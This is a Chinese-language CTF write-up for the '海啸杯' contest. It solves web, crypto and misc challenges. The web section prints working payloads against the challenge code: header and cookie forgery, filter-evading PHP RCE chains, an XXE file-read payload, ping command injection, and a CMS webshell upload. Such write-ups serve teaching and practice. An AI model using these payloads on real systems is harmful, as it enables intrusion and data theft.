海啸杯WriteUp

海啸杯WriteUp

WEB

G2mtu学生?

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
setcookie("user", "0", time()+360);
if(@$_SERVER["HTTP_X_FORWARDED_FOR"]!="127.0.0.1"){
die("u no student in Gzmtu");
}else{
if($_COOKIE['user']==1){
echo "flag{welcom_to_GZMTU_56456s4awdawdafafa}";
}else{
die("u no admin!");
}
}
?>

考X-Forwarded-For绕过和Cookie伪造

方法:将user=0改成user=1;在后面加上X-Forwarded-For:127.0.0.1

image-20201123002503667

无参数RCE

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag in flag.php
$a="";
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if(preg_match("/ses|pos|end|next|name|chdir|var|impolode|tan|tall|sys|eval|var|high|show|read|base|url|print/", $_GET['code'])){
die("no no no !");
}
eval("\$a=".$_GET['code']);
if(preg_match('/flag/', $a)){
die("no");
}
echo($a);
} else {
show_source(__FILE__);
}
?>

解法一:利用SESSIONID传参

image-20201123003101316

解法二:

查看目录用

1
scandir(pos(localeconv()));

pos被ban了,用current()代替。var_dump也被ban了,改用Print_f

1
/?code=Print_r(scandir(current(localeconv())));

image-20201123004831364

看到[3]=>flag.php,用array_flip()反转,即变成[flag.php]=>3

反转后用array_rand()随机返回键名

最终payload:

1
/?code=Var_dump(Readfile(array_rand(array_flip(scandir(Pos(localeconv()))))));

解法三:

用file_get_contents()

1
/?code=file_get_contents(array_rand(array_flip(scandir(current(localeconv())))));

后面过滤了flag,也就是过滤了flag.php,读到就会被die。如下图所示:

image-20201123162438539

所以进行加密,base64加密被过滤了,选择十六进制加密。

1
/?code=bin2hex(file_get_contents(array_rand(array_flip(scandir(current(localeconv()))))));

刷新多几次,刷出image-20201123162806442

解十六进制

image-20201123162853662

Who are you?

XXE

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
libxml_disable_entity_loader(false);
$data = @file_get_contents('php://input');
$resp = '';
//$flag='flag{79d10626-d27f-4569-a629-c9606d0378f2}';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
$res = $dom->textContent;
$resp = ob_get_contents();
ob_end_clean();
if ($res){
die($res);
}

}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>welcome</title>
<link rel="stylesheet" href="./style.css">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">

</head>
<body class="contactBody">
<div class="wrapper">
<div class="title">


</div>


<form method="post" class="form">
<h1 id="title">请输入姓名</h1>
<br/>
<br/>
<br/>
<input type="text" class="name entry " id="name" name="name" placeholder="Your Name"/>
</form>
<button class="submit entry" onclick="func()">Submit</button>

<div class="shadow"></div>
</div>

</body>
</html>
<script type="text/javascript">
function play() {
return false;
}
function func() {
// document.getElementById().value
var xml = '' +
'<\?xml version="1.0" encoding="UTF-8"\?>' +
'<feedback>' +
'<author>' + document.getElementById('name').value+ '</author>' +
'</feedback>';
console.log(xml);
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
// console.log(xmlhttp.readyState);
// console.log(xmlhttp.responseText);
var res = xmlhttp.responseText;
document.getElementById('title').textContent = res
}
};
xmlhttp.open("POST", "index.php", true);
xmlhttp.send(xml);
return false;
};
</script>
</body>
</html>

抓包,加上xxe外部实体注入+伪协议

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>

<feedback>
<author>&xxe;</author>
</feedback>

image-20201123172048707

得到了一串base64码,解密得到源码,flag就在源码里

image-20201123172513581

神奇的登录框

无回显ping命令

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if( isset( $_POST['submit'] ) ) {
// Get input
$target = $_REQUEST['site'];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
}
?>

发现可以写文件。

1
localhost|ls>1.txt

image-20201123173444448

1
locallost|cat flagggg.php> 1.txt

image-20201123173541076

CMS

解法一:

弱口令admin/admin8888登录后台

image-20201123181458411

找到站内文件,并可以修改post.html

image-20201123181645548

插入php代码,读flag

image-20201123181852344

修改“关于我们”页面

image-20201123182007728

在前台打开“关于我们”页面

image-20201123182119460

解法二:

登陆后台后,新建表单,创建一个上传路径,通过上传路径将木马上传即可。

Crypto

小明家的小菜园

栅栏密码,在线转换,不确定多少组,一个一个试。

image-20201118222017704

恺撒将军

凯撒密码,提示是差3。

payload:

1
2
3
4
5
strings = "]p{k]6wmfqozgJ<id[QidKkl[6Qy[5YEf6nziT@@"
flag = ""
for a in strings:
flag += chr(ord(a)-3)
print(flag)

image-20201118222255813

base64解码:

image-20201118222342512

战报

下载得到一个txt文件,分明文和暗文两部分。

分别统计明文和暗文的字数频率

明文:

image-20201118222522877

暗文:

image-20201118222532588

题目提示待解密文:givfome

暗文的前七位就是givfome,对应明文的前七位字母,得到flag{eantosi}

MISC

老烟枪

下载得到一个zip,增加.zip后缀打开后有一张cxk.jpg。kaili打开,用binwalk打开一下

image-20201118222834897

得到flag.png

image-20201118222945076

flag.png:

image-20201118222951583

水平反转即可。

表白

用winhex修改图片宽高即可

image-20201118230857542

LSB

LSB图片隐写。

用Stegsolve打开,Data Extract 分析,选中RGB的0.保存png文件。得到一个二维码。扫描得flag

image-20201123180505328

你能破解吗?

hint:压缩包密码为g2mtu加四位数字

脚本生成密码字典

1
2
3
4
5
f = open('1.txt','w')
for i in range(1000,9999):
a = 'g2mtu'+str(i)+'\n'
f.write(a)
f.close()

打开ARCHRP,选择字典模式

image-20201123180905525

破解出密码